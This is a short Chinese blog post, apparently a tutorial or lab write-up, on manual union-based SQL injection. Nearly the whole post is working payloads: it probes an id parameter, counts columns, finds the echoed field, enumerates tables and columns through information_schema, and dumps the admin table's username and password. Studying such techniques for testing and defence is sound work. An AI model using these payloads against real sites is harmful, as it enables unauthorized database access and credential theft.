标签:block 位置 exp 内容 plain 利用 一个 sel tables
构造?id=1 and 1=1(不报错)
构造?id=1 and 1=2(报错或者不显示内容)
报错说明and后面的语句被识别
构造?id=1 and 1=1 order by 5(这需要尝试多个数值直至不显示,这里试到3就可以看出来)
构造?id=1 and 1=2 union select 1,2,3……(显示的字段即为回显发生的地点,后面数字根据上一步判断)其中1=2是为了让页面不显示内容只显示后面查询的内容
亲测1=1不行(应该是被前面的挡住了)
在后面将需要显示的变量放在回显的地方(这里回显发生在第二个字段)
利用数据库中的函数查询数据库系统名称
这里构造:?id=1 and 1=2 union select 1,database();
select database();
select version();这里同理。
这些都是数据库函数,具体让它产生效果需要将其放在指定位置
构造?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1(其中information_schema是一个数据库本身就有的表,里面存放数据库中的表和其他信息)
表名为admin
构造
?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name=‘admin‘ limit 0,1
有一列叫id
改limit 0,1为limit 1,1
接着改
直到没有显示(爆出所有字段名)
构造
?id=1 and 1=2 union select 1,username from admin limit 0,1
爆出username为admin
同理爆出密码等
标签:block 位置 exp 内容 plain 利用 一个 sel tables
原文地址:https://www.cnblogs.com/bighuyspa/p/14787600.html